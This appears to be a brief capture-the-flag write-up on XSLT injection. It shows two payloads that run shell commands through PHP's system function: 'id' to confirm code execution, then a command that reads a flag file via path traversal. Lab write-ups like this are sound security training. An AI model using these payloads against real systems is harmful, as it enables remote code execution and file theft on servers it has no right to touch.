# Exploiting XSLT Injection

Exploit the XSLT Injection vulnerability to obtain RCE and read the flag.

To explore this XSLT vulnerability lets try a simple payload first in order to see if the command gets executed:

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```xml
<xsl:value-of select="php:function('system','id')" />
```

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And it worked!

After looking arround with the `ls` command, we finnaly managed to get the flag with following payload:

```xml
<xsl:value-of select="php:function('system','cat ../../../../flag.txt')" />
```

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